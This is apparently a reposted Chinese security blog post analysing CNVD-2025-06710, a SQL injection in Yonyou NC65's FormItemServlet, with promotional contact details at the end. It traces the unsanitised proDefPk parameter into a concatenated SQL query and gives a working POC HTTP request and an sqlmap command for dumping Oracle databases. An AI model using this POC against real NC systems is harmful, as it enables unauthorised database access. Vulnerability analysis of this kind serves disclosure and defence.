用友NC最新SQL注入 | CNVD-2025-06710漏洞分析

原文链接: https://mp.weixin.qq.com/s?__biz=MzkzMzE5OTQzMA==&mid=2247487568&idx=1&sn=62f811d92aedb814bb4509ba9bd3abb3

用友NC最新SQL注入 | CNVD-2025-06710漏洞分析

原创 chobits02 C4安全 2025-07-08 08:05

前言

漏洞影响版本:用友NC65

CNVD已知漏洞编号是重复时候给的编号,提交的稍微有些晚就重复了

用友NC最新SQL注入 | CNVD-2025-06710漏洞分析

不过该漏洞代码比较老,猜测现在才有人挖出来是因为代码里面有加载子类的方法,一般师傅可能觉得绕不过就放弃了,我直接照搬一下自己的漏洞分析文章:

https://forum.butian.net/article/750

图片

漏洞分析

漏洞所在方法为FormItemServlet,利用POC如下

POST /portal/pt/servlet/getFormItem/doPost?pageId=login&clazz=nc.uap.wfm.vo.base.ProDefBaseVO&proDefPk=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 19
下面是漏洞分析,进入到FormItemServlet

接口处,方法的完整路径为

nc.uap.wfm.action.FormItemServlet

image.png

该方法的请求路径为前缀+

/servlet/getFormItem/

+对应方法名称

来到doPost方法,完整的代码如下

image.png

@Action(method = "POST")  
publicvoid doPost() {  
this.response.setCharacterEncoding("utf-8");  
this.response.setContentType("text/html");  
Writer out = null;  
out = new StringWriter();  
String clazz = this.request.getParameter("clazz");  
String pk_prodef = this.request.getParameter("proDefPk");  
Map<String, String> map = new HashMap<>();  
if (!StringUtils.isEmpty(clazz)) {  
  SuperVO formvo = (SuperVO)LfwClassUtil.newInstance(clazz);  
  IWfmFlwTypeQry service = (IWfmFlwTypeQry)NCLocator.getInstance().lookup(IWfmFlwTypeQry.class);  
  WfmFlwTypeVO flwtypevo = service.getFlwTypeVosByProdefPk(pk_prodef);  
if (flwtypevo != null) {  
String serverClass = flwtypevo.getServerclass();  
    IWfmFormOper formOper = (IWfmFormOper)WfmClassUtil.loadClass(serverClass);  
    map = formOper.getFormFields(formvo, pk_prodef);  
  }   
}   
Document doc = buildXml(map);  
XMLUtil.printDOMTree(out, doc, 0, &#34;UTF-8&#34;);  
print(out.toString());  
}

可以看到此处post方法接收了两个参数,一个是

clazz

,传入了方法中通过反射加载

SuperVO

类或是他的子类,所以他应该传的是完整的类路径

SuperVO formvo = (SuperVO)LfwClassUtil.newInstance(clazz);  

另外一个传参是

proDefPk

,在上一步类加载完成后,进入了

WfmFlwTypeQry

getFlwTypeVosByProdefPk

方法中

IWfmFlwTypeQry service = (IWfmFlwTypeQry)NCLocator.getInstance().lookup(IWfmFlwTypeQry.class);  
WfmFlwTypeVO flwtypevo = service.getFlwTypeVosByProdefPk(pk_prodef);  

追踪getFlwTypeVosByProdefPk方法,来到代码

image.png

可以看到参数被拼接到SQL语句中,造成SQL注入

String sql = &#34; select * from wfm_flwtype where pk_flwtype in(select flwtype from wfm_prodef where pk_prodef='&#34; + prodefPk + &#34;')&#34;;

好了分析到这已经差不多了,只要找一个

SuperVO

的子类让他正常加载走到SQL注入那一步就行了

全局搜索

SuperVO

,这里我挑了一个子类

ProDefBaseVO

image.png

完整路径是

nc.uap.wfm.vo.base.ProDefBaseVO

,下一步构造传参,丢给SQLMAP验证即可

POST /portal/pt/servlet/getFormItem/doPost?pageId=login&clazz=nc.uap.wfm.vo.base.ProDefBaseVO&proDefPk=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 19

S
QLMAP命令如下,指定数据库为Oracle

python sqlmap.py -r 数据包 --dbms=oracle --dbs -p proDefPk

注入验证

image.png

最后总结

感兴趣的可以公众号私聊我
进团队交流群,
咨询问题,hvv简历投递,nisp和cisp考证都可以联系我

内部src培训视频,内部知识圈,可私聊领取优惠券

加入团队、加入公开群等都可联系微信:yukikhq,搜索添加即可。


图片

END